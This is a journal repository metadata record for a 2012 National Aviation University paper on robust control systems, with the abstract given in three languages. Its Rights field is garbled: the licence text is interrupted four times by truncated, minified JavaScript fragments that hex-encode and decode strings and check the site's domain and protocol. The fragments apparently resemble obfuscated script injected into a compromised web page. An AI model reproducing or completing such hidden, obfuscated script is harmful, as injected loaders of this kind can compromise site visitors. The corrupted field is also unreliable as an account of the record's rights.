NAU Harvester System
STRUCTURAL SYNTHESIS OF COMBINED ROBUST CONTROL SYSTEM WITH EXTERNAL COORDINATE DISTURBANCES
Наукові журнали Національного Авіаційного Університету
View Archive Info| Field | Value | |
| Title |
STRUCTURAL SYNTHESIS OF COMBINED ROBUST CONTROL SYSTEM WITH EXTERNAL COORDINATE DISTURBANCES
СТРУКТУРНЫЙ СИНТЕЗ КОМБИНИРОВАННОЙ РОБАСТНОЙ СИСТЕМЫ УПРАВЛЕНИЯ С УЧЕТОМ ВНЕШНИХ КООРДИНАТНЫХ ВОЗМУЩЕНИЙ СТРУКТУРНИЙ СИНТЕЗ КОМБІНОВАНОЇ РОБАСТНОЇ СИСТЕМИ УПРАВЛІННЯ З УРАХУВАННЯМ ЗОВНІШНІХ КООРДИНАТНИХ ЗБУРЕНЬ |
|
| Creator |
Сущенко, О.А.
|
|
| Subject |
combined robust systems; external coordinate disturbances
629.3.025.2(045) внешние координатные возмущения; комбинированные робастные системы 629.3.025.2(045) зовнішні координатні збурення; комбіновані робастні системи 629.3.025.2(045) |
|
| Description |
The paper is devoted to actual problem of precision and disturbance resistant control systems. The basic approaches to design of the combined robust control systems are considered. The basic concepts of the structural -synthesis of the combined system and the optimization criterion taking into consideration the sensitivity functions by the reference signal, parametrical structured and external coordinate disturbances are defined. The expression for the transfer function of the generalized system is obtained. The possibilities of its representation in the space of states are shown. The obtained results may be used in the area of the wide class control systems.
Посвящено актуальной проблеме проектирования высокоточных и устойчивых к возмущениям систем управления. Рассмотрены основные подходы к проектированию комбинированных робастных систем управления. Определены основные положения структурного H-синтеза комбинированной системы и критерий оптимизации с учетом функций чувствительности по задающему воздействию, параметрическим структурированным и внешним координатным возмущениям. Получено выражение для передаточной функции обобщенной системы. Показаны возможности ее представления в пространстве состояний. Полученные результаты могут использоваться в области систем управления широкого класса. Розглянуто основні підходи до проектування комбінованих робастних систем управління. Визначено критерій оптимізації. Отримано вираз для передавальної функції узагальненої системи з урахуванням зовнішніх координатних збурень. |
|
| Publisher |
National Aviation University
|
|
| Contributor |
—
— — |
|
| Date |
2012-12-19
|
|
| Type |
—
— — |
|
| Format |
application/pdf
|
|
| Identifier |
http://jrnl.nau.edu.ua/index.php/visnik/article/view/3484
10.18372/2306-1472.53.3484 |
|
| Source |
Proceedings of the National Aviation University; Том 53, № 4 (2012); 31-36
Вестник Национального авиационного университета; Том 53, № 4 (2012); 31-36 Вісник Національного Авіаційного Університету; Том 53, № 4 (2012); 31-36 |
|
| Language |
ru
|
|
| Rights |
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Автори, які публікуються у цьому журналі, погоджуються з такими умовами:Автори залишають за собою право на авторство своєї роботи та передають журналу право першої публікації цієї роботи на умовах ліцензії Creative Commons Attribution License, котра дозволяє іншим особам вільно розповсюджувати опубліковану роботу з обов'язковим посиланням на авторів оригінальної роботи та першу публікацію роботи у цьому журналі.Автори мають право укладати самостійні додаткові угоди щодо неексклюзивного розповсюдження роботи у тому вигляді, в якому вона була опублікована цим журналом (наприклад, розміщувати роботу в електронному сховищі установи або публікувати у складі монографії), за умови збереження посилання на першу публікацію роботи у цьому журналі.Політика журналу дозволяє і заохочує розміщення авторами в мережі Інтернет (наприклад, у сховищах установ або на особистих веб-сайтах) рукопису роботи, як до подання цього рукопису до редакції, так і під час його редакційного опрацювання, оскільки це сприяє виникненню продуктивної наукової дискусії та позитивно позначається на оперативності та динаміці цитування опублікованої роботи (див. The Effect of Open Access).// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jrnl.nau.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e |
|